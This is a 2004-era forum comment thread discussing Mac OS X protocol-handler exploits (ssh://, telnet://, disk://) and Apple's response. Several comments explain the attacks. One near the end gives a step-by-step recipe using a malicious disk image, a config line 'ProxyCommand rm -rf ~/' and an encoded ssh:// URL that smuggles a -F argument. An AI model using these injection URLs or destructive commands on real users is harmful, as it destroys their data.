One More Mac Protocol Handler Exploit

There's another exploitable protocol handler, this time, ssh. Daring Fireball has an excellent summary of what you can do to protect yourself, using RCDefaultApp, and if you went that direction, and were wise enough to recognize ssh might be vulnerable too, you are safe. Paranoid Android attacks the problem from a different direction, and if you use that, you are also safe.

Comments

/Library

[daeley]

If you follow John Gruber's instructions mentioned above (as you probably should, it does the job easily and fine), be aware that you'll need to apply the changes he mentions within each user account on your system. Just install the RCDefaultApp in

/Library/PreferencePanes

not

~/Library/PreferencesPanes

and then either have each user make the indicated changes, or just do them all yourself.

Question

[cappadocius]

from link: Affected Products: MacOSX >= 10.3.3, Various Browsers, possibly others platforms/browsers

Is this true what the link says: that these exploits only affect Panther? (also, am I reading the link text correctly)

I am running Jaguar and I followed the link on an earlier story to a benign demonstration of the handler exploit, and to my knowledge it did not work.

Protocol Handlers

[0x0d0a]

You know, the first I remember hearing about protocol handlers was when Microsoft started pushing the combination of the browser and the desktop.

Microsoft *very* commonly fails to draw a clear line between those data that can affect those things that can be externally-invoked (such as protocol handlers) and those things that may only be internally invoked. There is no reason for, say, a "help" protocol handler, though there is for an "ftp" protocol handler. There is clearly a need for two separate systems -- "remote" and "local" handlers, where "local" systems are only invoked by trusted software running on the system.

If Apple took bad ideas from Microsoft, they deserve to chew on the bitter taste a bit.

Note that GNOME (and I'll bet KDE, though I'm not familiar enough with KDE to know) also took this broken security design from Microsoft, and it's even bets that they have some of the same problems.

I should be able to set things like the following with "local" handlers (ones that will only be passed "trusted good" data, and can poentially do destructive things like overwrite files based on the data passed them:
* my terminal program (xterm, gnome-terminal, konsole, rxvt, aterm, etc)
* my file manager
* my "error" handler -- could spit out junk to the console, play an error sound, send stuff to syslog, bring up a dialog, whatever.
* my password manager (this lets programs add entries automatically -- for example, my FTP program can tell my password manager to store my password whenever I bookmark a passworded site). This lets me keep an encrypted password collection without extensive manual effort.
* My download manager, so that software can pass off downloads that they want *downloaded*, not just displayed.

Then there are external protocol handlers. These are programs to handle each of the standard URL prefixes -- news, telnet, http, ftp, etc. It's fine for these to be systemwide, but they *never* should be combined with internal handlers. It's a really *bad* idea, and one of Microsoft's worse "innovations". They may not perform destructive acts based on the arguments passed them, and must be carefully examined to ensure that they robustly handle input passed to them.

Re:Protocol Handlers

[0x0d0a]

...first remember hearing about protocol handlers...

This should be "...first remember hearing about security problems with protocol handlers.... Heck if I know when I first heard about protocol handlers.

Re:Protocol Handlers

[Anonymous Coward]

Then there are external protocol handlers. These are programs to handle each of the standard URL prefixes -- news, telnet, http, ftp, etc. It's fine for these to be systemwide, but they *never* should be combined with internal handlers.

But this does not save you from the previous LaunchServices exploit. The handler for ftp://, afp:// and disk:// is Finder and works as intended: it mounts a remote volume. The problem is LaunchServices then automatically goes to look for apps and URL handlers on mounted volumes. The problem here is more in LaunchServices than in the URL handler, IMO.

Re:Protocol Handlers

[0x0d0a]

But the current one *is* a protocol handler problem, and there have been attacks before against systems that mingle internal and external handlers -- it's not a problem that should just be ignored.

Re:Protocol Handlers

[smcv]

Once my exams are over, I plan to look through the KDE ioslaves (at least the common ones in kdebase, kdenetwork etc.) and check what standards they comply with, and whether they appear to be exploitable. I'm not a security expert, but hey, many eyes, right?

There are two problems on the Mac:

- Auto-registering protocols from all mounted images, while having URLs that mount a disk image with no user interaction.

Apple need to decide where to put the security barrier - either mounting a .dmg is an expression of trust by the user, in which case Apple should never do it automatically (or at least have an unavoidable prompt before mounting remote .dmg files), or it's not, in which case newly mounted .dmg files should be considered to be untrusted and shouldn't be able to autorun anything. (Or both, of course.)

- Some protocol handlers are mis-implemented, like the telnet one which accepts telnet:-nfoo (or telnet://-nfoo?) as a request to telnet to the host -nfoo, but naively invokes telnet with the argument -nfoo (which doesn't do what you want).

If Mac OS X telnet used GNU-style arguments, invoking telnet -- -nfoo would be sufficient to get the desired behaviour, but since it presumably doesn't, the telnet: protocol handler should be responsible for filtering out harmful hostnames.

(I observe that a non-GNUish telnet will be unable to connect to certain hosts via command-line arguments: if you actually have a host called -nfoo, it appears that at least Debian's Netkit telnet can only connect by running with no host parameter and instead using the command "open -nfoo")

- Silly internal protocol handlers which are hopelessly non-standard and may not have been designed with security in mind (help:, disk:, afp:, and so on). These "URLs" are also nowhere near as Universal as they claim to be.

KDE isn't any better in terms of number of nonstandard URI handlers, although I hope theirs are actually secure. On my computer, the Protocols page in KDE Info Centre lists the non-standard schemes about, ar, audiocd, bzip, bzip2, camera, cgi, devices, fish, floppy, fonts, ghelp, gzip, help, info, mac, man, metainfo, nfs, print, printdb, programs, psion, rdp, settings, system, tar, thumbnail, vnc, webcal, webdav/webdavs and zip; I'm not sure about the standards status of mms, mrml, rlogin, rtsp, sftp, sieve or smtp/smtps either.

At a quick glance, cgi: doesn't look like the most secure protocol imaginable, although it appears to only allow arbitrary program execution from folders nominated by the user (a list which defaults to being empty, at least on Debian), so it might actually be OK despite appearances.

Re:Protocol Handlers

[smcv]

Meh, should have used preview. I of course meant to say that there are three problems on the Mac.

(Nobody expects the MacOS Security Omission! Our two exploits are confused security boundaries, sloppy implementation and silly internal ... no. Our three exploits are confused security boundaries, sloppy implementation, silly internal protocol handlers and an almost fanatical devotion to Steve Jobs... oh, I'll start again.)

Re:Protocol Handlers

[killerc]

Note that GNOME (and I'll bet KDE, though I'm not familiar enough with KDE to know) also took this broken security design from Microsoft, and it's even bets that they have some of the same problems.

Yes, KDE's Konqueror suffers the same problem. Pass it a URL prefixed with ssh://your-server.com and it opens an ssh session Terminal window.

Re:Protocol Handlers

[0x0d0a]

Once my exams are over, I plan to look through the KDE ioslaves (at least the common ones in kdebase, kdenetwork etc.) and check what standards they comply with, and whether they appear to be exploitable. I'm not a security expert, but hey, many eyes, right?

That's very kind of you. I'm sure that many KDE users, whether they know it or not, will be very much happier not having their system being attacked.

- Auto-registering protocols from all mounted images, while having URLs that mount a disk image with no user interaction.

Apple need to decide where to put the security barrier - either mounting a .dmg is an expression of trust by the user, in which case Apple should never do it automatically (or at least have an unavoidable prompt before mounting remote .dmg files), or it's not, in which case newly mounted .dmg files should be considered to be untrusted and shouldn't be able to autorun anything. (Or both, of course.)

Right.

- Some protocol handlers are mis-implemented, like the telnet one which accepts telnet:-nfoo (or telnet://-nfoo?) as a request to telnet to the host -nfoo, but naively invokes telnet with the argument -nfoo (which doesn't do what you want).

If Mac OS X telnet used GNU-style arguments, invoking telnet -- -nfoo would be sufficient to get the desired behaviour, but since it presumably doesn't, the telnet: protocol handler should be responsible for filtering out harmful hostnames.

(I observe that a non-GNUish telnet will be unable to connect to certain hosts via command-line arguments: if you actually have a host called -nfoo, it appears that at least Debian's Netkit telnet can only connect by running with no host parameter and instead using the command "open -nfoo")

This (supporting hostnames of the form "-nfoo") is not required. I quote from RFC 952:

The first character must be an alpha character.

Re:Protocol Handlers

[danielsfca2]

WTF? How is simply being able to open an connection to arbitraryserver.com a "problem"??

A connection on port 22 is no more a security hole than one on port 80, so you'd better disable the "http:" handler too then!

The only problem with the "exploit" this story is about is that the ssh: handler allows something other than a hostname. For example, switches. Some quick checking of the URI should fix this in two minutes. No spaces, no %20. No hyphen that doesn't have an alphanumeric character immediately before it. No slashes. Anything other than ssh://some.host.name should just break--do nothing, or complain about invalid URI.

Re:Protocol Handlers

[killerc]

Opening a connection is not a problem in an of itself, it's when your web browser happily passes along these connection requests to the underlying system by direction of a link or meta-refresh embedded in a web page.

I'm not suggesting we through out all protocol handlers besides http(s) in our browsers, but at the very least, there should be some sort of system alert window that tells the user what is transpiring.

And another one

[Anonymous Coward]

On Monday it was posted on the infamous MacNN thread where the previous exploit was discovered that there is yet another way to exploit LaunchServices. The previous one was to advertise a malicious app on a volume as a bogus protocol handler. LaunchServices would pick it up automatically when it mounts a disk://, disks://, ftp:// or afp:// volume. The new one is to advertise your app as a newer version of an already registered protocol handler. For unknown reasons, it doesn't work with some apps, but iTunes can be hijacked. In simple terms, you stick your malware on a disk image or ftp or afp server, you advertise it as a newer version of iTunes through Info.plist, and construct a webpage that mounts the volume. LaunchServices will automatically register it on mounting. You then have the webpage refresh or redirect to an itms:// url and your malware is launched.

Re:And another one

[Anonymous Coward]

In response to this, the latest version of Paranoid Android disables ALL URL handlers except http://, https:// and mailto://.

What about IPFW?

[BandwidthHog]

Shouldn't it be possible to block these protocols via IPFW? Not that it would be any more effective than things like RC Default App (or whatever it's called), but it would seem more elegant to me to be able to protect against these issues without requiring third party software.

Kinda sorta speaking of which, I use (and *gasp* paid for) an app called Little Snitch which essentially makes IPFW interactive, intercepting network access to/from each app and getting my approval on a temporary/permanent and/or server/port basis. Prevents things from phoning home, and can give you some good insights as to what's talking to what.

I also use a utility called Deny IP, which lets me bring up a translucent overlay (kinda like the volume control) showing details on all active connections. Doesn't prevent anything unexpected from happening, but lets me see what is happening and prevent it from recurring.

Also, while I've got your attention, any of you Mac using slashbots know of a utility to automagically turn Apache and IPFW logs into an SQL database in (mostly) real time?

Re:What about IPFW?

[genericpenguin]

This is not a vulnerability with regards to particular TCP protocol. This vulnerability had to do with protocol handlers. That is, the interfaces that handle how the browser will react to a particular link when it is not a HTTP request. Firewalls won't work here. What is required is more sensible checking of what handlers are allowed to run and for what purpose. Personally, I don't see a good reason for having a SSH, IMHO. Others may disagree.

In any case, it's a browser/system issue, not a network issue.

genpen me baby!

All in the mind

[skinfitz]

Remember all of the recent exploits are theoretical vulnerabilities and therefore if you have tried out any of the proof of concept code and seen or heard your Mac do anything after clicking on these demonstrations, then you must be imagining things.

"Apple takes security very seriously and works quickly to address potential threats as we learn of them, in this case, before there was any actual risk to our customers,"
Philip Schiller, Apple's senior vice-president of worldwide marketing.

"Users are still as vulnerable as Apple left them last week."
Niels Henrik Rasmussen, Secunia

Re:All in the mind

[idontsmoke]

Remember all of the recent exploits are theoretical vulnerabilities and therefore if you have tried out any of the proof of concept code and seen or heard your Mac do anything after clicking on these demonstrations, then you must be imagining things.

Also, "all of the recent exploits" are actually just a single issue, that of URL handlers going unchecked, rather than a whole plethora of exploits as the number of recent reports might have you believe.

Re:All in the mind

[pudge]

The problem is that Secunia is entirely wrong. The removal of runscript left users less vulnerable. The exploit was much worse than any of the others, and even if it weren't, it is different, so the users are not just as vulnerable, because that exploit is removed (for those who updated).

And Apple has been failry responsive, as far as we know. If it is true -- which is unverified -- that Apple was told about the runscript hole in February, then fine, Apple dropped the ball. But we don't know that and can't assume it.

Of course, when it comes right down to it, both companies are spinning to make themselves money. But Secunia is doing it with FUD, which makes it far more distasteful.

Re:All in the mind

[pudge]

Well, in one sense, that's true. But considering the only fixes from Apple address the actual problems (such as fixing Terminal and Help Viewer), that clearly shows them to be distinct. Indeed, no one has come up with a way to actually fix the problem at the protocol handler level, because the exploits are far too different. Who is to say if telnet://-nFoo is dangerous? You can't tell that by looking at the URL, you can only tell by seeing what the app does with it.

They all have a common thread, use of the protocol handler facility, but exploit that in very different ways. The only solution is to disable the facility, which ain't gonna happen, or have application authors be much more careful about what data they accept from the facility.

It's just like in web programming: anything that comes from the web browser cannot be trusted for potentially dangerous operations. You define those operations -- such as writing files, opening applications, installing new protocol handlers -- and you don't allow those things to happen without specific user interaction or permission.

iChat has the "aim" protocol handler, and there's been security holes in other apps because of it, for the same reasons. Does iChat have these problems too? I dunno, but if Apple is smart, every single app it has that accepts a GURL Apple event will be triple-checked to make sure nothing unsafe is allowed.

Re:All in the mind

[Anonymous Coward]

The problem is really multifaceted.

First there are individual exploits on many of the protocol handlers. Another is that the system automatically registers any program too soon, so if you can figure out someway to simply get a malicious program on to a computer, you can run it at your discretion by calling a URL from your web site. Getting the the program on to the computer can be accomplished by taking advantage of preexisting protocol helpers, so both steps in the process of taking over a computer seem rather trivial.

You can disable protocol helpers that automatically mount volumes -- the exploitable ones are enabled and active by default -- but Apple provides no friendly mechanism to do so, and it still doesn't resolve the problem that some browsers (i.e., Safari) "Automatically open [un]safe files" by default. So we have a situation where the defaults behaviors aren't safe (i.e., opening "safe files" automatically, such as a disk image with malware that automatically registers itself), and where it's hard for most users to make things safer by explicitly modifying the protocol helpers. The fact that you can manually edit .plists, or use third party software to edit the helpers are not sufficient solutions in my opinion.

The protocol helpers also compound browsing security problems, because the way protocol helpers are handled allows any web site to interact with any registered program, any bug in any helper might be exploited to compromise a computer. This is significantly worse than simply having to worry about bugs in the browser itself being exploited.

I'm not willing to let Apple off the hook on this. It designed the system that is ripe, in many ways, to compromise OS X systems browsing the web. Apple has a responsibility to lock this down, somehow. Not immediately registering programs as protocol helpers that are mounted from remote volumes and disk images would be a good start...certainly an order of magnitude better than the weak response so far. It would also be helpful if Apple implemented a mechanism to explicitly modify protocol helpers in the System Preferences, and if it removed/disabled protocol helpers such as "disk" that mount volumes in such a way that programs on them can be registered. Really something involving all of these would be good.

Something better would be to carefully rethink protocol helpers, perhaps even deprecate the current system, and reimplement it in a more security conscious manner. I'm not sure, specifically, how Apple should do that, but the current system is clearly dangerous and will clearly be a very significant ongoing source of security weakness if it is not overhauled. The current "patch helpers as we notice bad ones" is the finger-in-the-dike approach, and is not as robust as a permanent structural solution. So far it hasn't even plugged all the known holes.

Finally, the fact that I don't know how Apple should precisely fix it, doesn't excuse Apple from not coming up with some kind of solution. This is a really serious problem. Apple should put a lot of energy in to coming up with a robust solution, even if it breaks a few things in the short term.

Re:All in the mind

[skinfitz]

"The problem is that Secunia is entirely wrong. The removal of runscript left users less vulnerable. The exploit was much worse than any of the others, and even if it weren't, it is different, so the users are not just as vulnerable, because that exploit is removed (for those who updated)."

No, they are not "entirely wrong" they are absolutely right. The "fix" from Apple simply removed the Help Viewer ability to launch AppleScripts remotely, but did absolutely nothing to fix the parent exploit being the fact that any disk image can be mounted with the disk:// protocol, and that any application contained within automatically gets its custom protocol handlers assigned to it - silently. It just got worse with the ssh:// remote exploit able to execute proxy commands locally. Combine this with a recently discovered but as yet undisclosed email HTML handling vulnerability and it starts to get even worse.

As for Apple being "fairly responsive" I see absolutely no evidence that they were not notified on 23rd February as the original researcher wrote.

Re:All in the mind

[pudge]

No, you're wrong too. It is simple math. You have a pile of exploits. You remove one, and now you have fewer possible exploits. You are therefore less vulnerable.

As for Apple being "fairly responsive" I see absolutely no evidence that they were not notified on 23rd February as the original researcher wrote.

And I see no evidence they were informed; further, how were they informed, if it did happen? Was it a "dude, your browser sucks! I can totally 0wnZ j00!" email sent to steve@apple.com? Or was it a well-written report sent through the proper channels? Or was it somewhere in between? I won't assume Apple was notified, or that it was done properly, just because someone says so.

Re:All in the mind

[pudge]

You're right on for the most part, but you are flat-out wrong about "carefully rethink protocol helpers, perhaps even deprecate the current system, and reimplement it in a more security conscious manner." It is not possible. All the system does is pass arbitrary data from one app to another. Changing the system would be like making it so a web browser can't pass arbitrary data to a web server through a form interface or URL.

The only solution is the finger-in-the-dike approach, except more proactive than you describe: to audit every single application that receives the data, and make sure that it doesn't allow any dangerous operation with the data it receives. This is what web programmers around the world have to do (often failing miserably). Is this a robust permanent solution? No, but there is no robust permanent solution.

I've been dealing with this for years in the Slash code. If one of our programmers wanted to, we could allow this:

http://slashdot.org/index.pl?runscript=$url

Then index.pl would download the script at $url and execute it. Perl can't solve that problem, and neither can the underlying Slash code. If index.pl allows that, there's nothing that can be done except to fix index.pl, or disable it. Oh, sure, we could disable the "runscript" parameter at a lower level, but that really is the intolerable finger-in-the-dike approach, because index.pl could just use some other parameter name.

Look at iChat. Part of the aim handler suite are getfile and sendfile commands. iChat does not have those implemented, probably in part out of security concerns. Terminal should not allow arbitrary command-line options to be passed to it from a URL: if it allows commands to be run at all, it should filter any option out that might lead to writing a file, reading a file and sending its data over the connection, opening an additional possibly unsafe process, etc. Help Viewer should not allow running arbitrary scripts or opening arbitrary applications. The OS should not automatically modify system settings based on the mounting of a volume.

There's no way to deal with these except to make sure the target applications deal with all the incoming data safely, or shut down the protocol handler altogether (as we must temporarily do until Apple fixes the applications).

Re:All in the mind

[Anonymous Coward]

> I won't assume Apple was notified, or that it was done properly, just because someone says so.

Isn't that convenient. Since Apple isn't willing to confirm or deny that they were informed, Apple zealots such as your self can pretend that Apple was not notified.

Somehow I doubt Apple zealots will apply this concept to Microsoft.

Re:All in the mind

[pudge]

You're stupid. I didn't say Apple was not informed, I said I won't assume they were. That also necessarily means I won't assume they weren't.

That is what reasonable people do when they have a lack of evidence: they don't make assumptions either way.

Re:All in the mind

[skinfitz]

No, you're wrong too. It is simple math. You have a pile of exploits. You remove one, and now you have fewer possible exploits. You are therefore less vulnerable.

Normally I'd agree with you, HOWEVER when the Help Viewer exploit was known, the infinitely more serious custom protocol handler and SSH exploits were not known, and so therefore we went from one exploit to many overnight. The real problem is the parent protocol handler exploit - fixing the Help Viewer was irrelevant and didn't fix anything apart from Help Viewer exploits, which would be insignificant when you can run code directly in the shell anyway.

As for evidence of them being informed, why it's right here.

Re:All in the mind

[pudge]

As far as you know, it was not known. And even if it was not known. it was still an existing vulnerability. There's no doubt on this.

And no, that is not evidence, that is assertion. It doesn't say how Apple was notified, it merely says "i told Apple on 23rd of February". The lack of good form in this posting makes me extremely skeptical that Apple was notified properly, if at all.

Re:All in the mind

[Zhe Mappel]

And I see no evidence they were informed; further, how were they informed, if it did happen? Was it a "dude, your browser sucks! I can totally 0wnZ j00!" email sent to steve@apple.com? Or was it a well-written report sent through the proper channels? Or was it somewhere in between? I won't assume Apple was notified, or that it was done properly, just because someone says so.

Really? So independent researchers uncovering security flaws are now to be held up to a higher burden of proof than the corporate authors of those flaws?

Ultimately, you have to believe one or the other. The former has showed us the flaw, while as the multiplication of the exploits demonstrates, the latter has yet to fulfill its commitments to users of the OS. Under these circumstances, it's odd to heap skepticism verging on contempt upon the former; that makes you look like an errand boy for the latter.

Re:All in the mind

[pudge]

So independent researchers uncovering security flaws are now to be held up to a higher burden of proof than the corporate authors of those flaws?

I am holding them both to the same standard. Whichever group did not follow such a reasonable procedure is to blame. I don't know which is to blame, so I blame neither.

Ultimately, you have to believe one or the other.

A more ridiculous statement I've not seen all week. Congratulations!

it's odd to heap skepticism verging on contempt upon the former

I am not verging on contempt for the originator -- unless it is shown he really didn't notify Apple properly, at which point I will have plenty of contempt -- but I do have contempt for those who expect me to believe the originator, sans evidence. Similarly, I will have contempt for Apple if it is shown they were properly notified.

What is odd, to any reasonable person, is to not have skepticism for the claim. There's no evidence whatsoever backing it up: how can I *not* be skeptical of it?

Re:All in the mind

[tgibbs]

No, you're wrong too. It is simple math. You have a pile of exploits. You remove one, and now you have fewer possible exploits. You are therefore less vulnerable.

So if my home has 5 unlocked doors, and I lock one of them, I am less vulnerable? The math doesn't seem quite so simple to me. I have a nagging suspicion that locking the last door makes a much greater contribution to my security than does locking the first door.

Re:All in the mind

[pudge]

So if my home has 5 unlocked doors, and I lock one of them, I am less vulnerable?

Yes, if:

1. Each door provides access to only certain parts of the home, and
2. Each door is not able to be accessed via the same methods

Let's compare the two big exploits so far, Help Viewer's runscript command, and the one where Apple adds new protocol handlers upon volume mounting.

The latter exploit is much more difficult; it requires a significant ability to program, and to prepare a volume for mounting, and a place to put that volume online, for either downloading (which won't affect the many people who turn off "open files," even thought it is the default) or online mounting (which has even greater requirements for the attacker). For exploting Help Viewer, you don't need a server, you don't need programming ability, you just need to be able to construct a URL or two cleverly, and a place to post it.

If both exploits were just as easily executed, and both allowed the same access to the system, then you're right, users would be just as vulnerable. But even granting they probably both allow the same approximate access, one is significantly more difficult to exploit.

Re:All in the mind

[Anonymous Coward]

It is not possible. All the system does is pass arbitrary data from one app to another. Changing the system would be like making it so a web browser can't pass arbitrary data to a web server through a form interface or URL.

It's not the same at all, changing the system would be like making it so a web server can't pass arbitrary data to the web-browser on your system. You can just have the web-browser ignore everything except http(s):// and leave the rest to specialised apps. There is nothing impossible about that.

Re:All in the mind

[tgibbs]

1. Each door provides access to only certain parts of the home, and
2. Each door is not able to be accessed via the same methods

Well, in this case all the doors clearly provide access to the same part of the house--namely my home directory where I keep my files. And the "method" that I have in mind is the "script kiddie" method: Get hold of an example written by somebody who actually knows what he's doing (such as the various benign demos of these exploits). Identify the payload. Substitute my own.

Re:All in the mind

[pudge]

You apparently didn't read my post. Try again. I concluded with:

There's no way to deal with these except to make sure the target applications deal with all the incoming data safely, or shut down the protocol handler altogether (as we must temporarily do until Apple fixes the applications).

Yes, you can shut down the handler altogether, as I said. That is what it would be to "ignore everything except http(s)://". But that isn't going to happen. Users want mailto:, aim:, ftp:, and the rest.

Re:All in the mind

[pudge]

in this case all the doors clearly provide access to the same part of the house--namely my home directory where I keep my files

It is not merely about location. Clearly, the telnet exploit, which can overwrite only one known file, is not nearly as serious as an exploit which can run arbitrary code.

Get hold of an example written by somebody who actually knows what he's doing (such as the various benign demos of these exploits). Identify the payload. Substitute my own.

Yes, which is significantly more complex a process for the disk-mounting-and-adding-a-new-protocol-handler exploit, than for the runscript exploit.

Re:All in the mind

[Zhe Mappel]

Ultimately, you have to believe one or the other.

A more ridiculous statement I've not seen all week. Congratulations!

But unhappily for you it is a binary operation, my dear Pudge. Either the researcher notified Apple in February, or he did not. You may believe the researcher, or you may believe that Apple has not been notified. Choose wisely. :-)

Re:All in the mind

[pudge]

Either the researcher notified Apple in February, or he did not.

You mean either he notified Apple *properly*, or he did not. True. But so what? Why should I have to pick one or the other to believe? What kind of depraved existence do you live that you feel you must decide on everything, despite lack of sufficient evidence?

Re:All in the mind

[Anonymous Coward]

Sorry, the AC who responded to your comment above, wasn't the AC who wrote the earlier response to you...although I certainly can't prove that. :)

Anyway, what about a modification to the Protocol Handler system, such that the system requests the URL of the whatever is originating the request to use a handler? Or to put it a little more clearly, requests for protocol handlers come from someplace: a web page in Latvia, manually being typed in the address bar, etc. So in order to use a protocol handler, why not have the handler subsystem ask where the request is coming from? From there, the handler could behave differently if the source is a local file versus a remote web page. Local handlers could just run, but links from far away might pop up a scary warning.

By default, treat handler requests without an originating source as dangerous, and parse the source of those that are delivered with a reference to where they came from, so as to determine if its local and safer versus remote and more dangerous. (Also indicate that handler requests without source references might not be compatible with future systems.)

This would of course require not only changing the handlers system, but also require programs that use handlers to call the handler differently -- and to be helpful would require the program through which the handler was being requested to meaningfully ponder where the request is originating. On the other hand, it shouldn't be too hard for Safari, etc., to figure out if a URL handler was originating from someone typing it in the command line/clicking on it from within a local file on the hard drive, versus it being delivered from a remote web page.

This would not be a perfect solution, would be tricky for many programs to implement, and would be susceptible to programs just flat-out lying about where stuff was coming from, but it would at least provide a mechanism to begin to deal with how to trust handler requests. It would also preserve the robustness of the protocol handler system by not requiring any program that uses handlers to know which ones are good and which one might be dangerous. It might, therefore, at least provide a mechanism to mitigate the handler risks, and might be a good step in the right direction.

I'm confident this wouldn't actually work, but conceptually how bad an idea is it? Is this intractible, or is it just very similar to what was suggested in the comment just above yours (that I didn't write and that also wasn't a conceptually workable solution)?

I do appreciate you taking the time to read these responses, doubly so since they're posted anonymously.

Re:All in the mind

[pudge]

Or to put it a little more clearly, requests for protocol handlers come from someplace: a web page in Latvia, manually being typed in the address bar, etc. So in order to use a protocol handler, why not have the handler subsystem ask where the request is coming from? From there, the handler could behave differently if the source is a local file versus a remote web page. Local handlers could just run, but links from far away might pop up a scary warning.

Well, yes, you can put up warnings, but most people won't know what to do. It doesn't solve the problem, it just shifts the burden to the (mostly ignorant) user. And that's even scarier. :-) How many of us would have blinked at loading a disk image if asked, before this week?

This would not be a perfect solution, would be tricky for many programs to implement

If you are going to offload the burden to the application, then why not just have the application make sure no unsafe operation can be performed on the data? It's an easier solution, more reliable, and more transparent to the user. Sure, sometimes apps can choose to only allow certain things from within themselves, or other trusted apps, but if you want the protocol handler system to still retain usefulness -- that is, allowing users to click on many kinds of links on web pages -- then it still needs to be about the data.

It would also preserve the robustness of the protocol handler system by not requiring any program that uses handlers to know which ones are good and which one might be dangerous.

But that's the point: all of them have unsafe data. That's always been the case, and always will be (for the forseeable future ...). It's not really about the handlers at all. The critical mistake Apple engineers have made is treating this data as though it could be trusted, not even looking for all the ways untrusted data could do bad things. The handlers themselves are fine, if the engineers make sure what they do with the data is reasonable.

Re:All in the mind

[tuxedobob]

finger-in-the-dike

I have to say, the hypens drew my eyes to this part of the post, and I enjoyed it so much, I didn't read the rest of it.

Re:All in the mind

[mst76]

And I see no evidence they were informed; further, how were they informed, if it did happen? Was it a "dude, your browser sucks! I can totally 0wnZ j00!" email sent to steve@apple.com? Or was it a well-written report sent through the proper channels? Or was it somewhere in between? I won't assume Apple was notified, or that it was done properly, just because someone says so.

The person who claimed to have reported this to Apple in Februari, lixlpixel, was credited by Apple for reporting the issue.

I fine aroma indeed...

[Anonymous Coward]

Does anyone else smell the fine aroma of sensationalism, or is it just me?

Re:I fine aroma indeed...

[Anonymous Coward]

There may be some sensationalism, but that doesn't diminish the undeniable seriousness of the problem, nor Apple's ongoing failure to meaningfully address it.

Easy to test

[Onan]

Just type ssh://your.favorite.host/ into your browser's location field. If you get a new terminal window which attempts to ssh there, obviously Mallory could do something similar to you. If you instead get safari complaining that it doesn't know what to do with ssh urls, it would seem that you're safe from this particular attack.

Re:Easy to test

[prockcore]

Just type ssh://your.favorite.host/ into your browser's location field. If you get a new terminal window which attempts to ssh there, obviously Mallory could do something similar to you.

Confirmed, works in both Firefox and Safari on Jaguar.

Needs to be addressed at a higher layer.

[Onan]

Unfortunately, nothing untoward needs to happen at the network layer for these attacks to work. For example, I could stick an ssh:// uri into any web page you access, and use ssh's proxycommand to casually mention, "oh, and to connect to the outside world I need to run 'rm -rf /'."

The only network traffic which took place was a perfectly valid http get from your machine to mine over port 80, but you're still shy a homedir.

Re:Needs to be addressed at a higher layer.

[BandwidthHog]

I guess I was thinking about it in such a way that ports are roughly equivalent to protocols. So do things like afp:// and disk:// not map 1:1 to a given port? And if not, is there no way to selectively filter them, other than either map them to a given app or ignore them completely?

Re:Needs to be addressed at a higher layer.

[pudge]

Did you read the story? This is exactly what RCDefaultApp does, it allows you to selectively disable those handlers.

Re:Needs to be addressed at a higher layer.

[BandwidthHog]

Yes I did, and I'd already used it to disable them before I asked any of these inane questions. In the post you replied to I was asking if there were a more nuanced way to deal with this problem than totally disabling said protocols.

I'm simply trying to get a better handle on how all these parts tie together since A) I'm obviously not quite sure of the nitty gritty details, and 2) I'd say that considering recent events, there's a decent chance we'll be looking at yet another variation on this problem next week. I also figured that if I'm a little unsure, there's probably a few other Mac users out there who would appreciate reading answers to the same stupid questions.

Re:Needs to be addressed at a higher layer.

[pudge]

I see ... if you want a more sweeping solution that is more paranoid and catches every possible exploit in this regard, Paranoid Android is for you.

help with what is going on

[gumbi west]

Sorry, but can someone please explain the exploit? How is ssh involved? Part of the problem is that the workaround site won't resolve on my computer...

Re:help with what is going on

[System.out.println()]

1) make up your own protocol, say, "gumbi://"
2) before you link to this protocol, make the user download "http://your.ip.address/eraseharddrive.dmg". The user downloads this and mounts it (because most browsers automatically open .dmg files by default)
3) set eraseharddrive.dmg up with a program that erases the user's hard drive. Set this app to be the default handler for the gumbi:// protocol.
4) NOW link to a gumbi:// address. Your malware has been executed.

I do have one question: this doesn't gain root access or anything, does it? at worst, it could erase your Home directory.

Re:help with what is going on

[Graymalkin]

What is worse than having your home directory deleted? I don't give two shakes about /System, all my important stuff is in ~/.

Re:help with what is going on

[gumbi west]

so to implement this you need a trojan as well (the .dmg). and how did ssh get involved?

Re:help with what is going on

[bw5353]

"all my important stuff is in ~/."

Agree to some extent.

The bad thing is that all your precious docs can disappear or be sent away to a nasty exploiter.

The good thing is that you don't have to reinstall the system afterwards. It is enough to restore your properly made backup. That's some consolation at least.

The worst (?) potential consequence I can think of with the present situation is the malware grabbing a text file, where I have written down all the passwords to my Swiss bank accounts, and sending all my business secrets to my competitors and so on.

Not having that text file and not having any Swiss bank accounts and not having any competitors makes the risk limited for me, but other persons could have that kind of concerns.

(I opened my bank accounts in Sweden instead, where they have the highest taxes in the world. I could kick myself!)

Re:help with what is going on

[geoffspear]

Reinstalling an OS X system is completely trivial. Making backups of all of your data every time you make a change to any document isn't. The average mac user probably doens't make regular backups at all, and I'd wager that 90% of those who do make backups do it weekly at best.

Of course, the real problem with malware running with root privileges isn't that it can delete /; it can install pretty much whatever backdoors and spyware it wants on your system and cover its tracks pretty effectively.

Re:help with what is going on

[Anonymous Coward]

Sorry, but can someone please explain the exploit? How is ssh involved? Part of the problem is that the workaround site won't resolve on my computer..

Basically, much like the telnet:// problem where going to telnet://-nsomefile.txt to write a logfile via telnet to your HD as a side effect of the telnet:// handler calling the telnet app, ssh also has a ProxyCommand option, which is specified in ssh's config

ssh can have an alternate config set by use of the -F flag

therefore, a URL calling "ssh://ssh -F " can make ssh load that alternate config file, which specifies the ProxyCommand inside it.

That ProxyCommand gets executed then, instead of ssh going on to doing its normal thing.

If you're able to get a nasty config file for SSH to use instead of the normal one it does, it will execute the commands after the ProxyCommand directive inside the config file. At the moment, the disk:// protocol will (on default osx installs) download and open a disk image

So for this exploit to work you need to:

1. Get a browser to go to say, disk://somedomain.com/nasty.dmg - this will automatically mount nasty.dmg on the local machine after it is downloaded from somedomain.com
2. nasty.dmg must contain an alternate config file for SSH which contains a ProxyCommand directive. That could be a simple one line file with:

ProxyCommand rm -rf ~/

3. Send the user to a url like:
ssh://fake%20-F%20%2FVolumes%2Fnasty%2Fconf igfile

this tries to send ssh to 'fake' (a url that doesn't matter, ssh never tries to go there) with the alternate config file specified with the -F option. On a terminal it looks like:

ssh fake -F /Volumes/nasty/configfile

So there ssh runs, loads the nasty configfile from the mounted dmg named 'nasty' and then diverts to run the code after the ProxyCommand directive.

Then the user loses their home directory.

Re:help with what is going on

[System.out.println()]

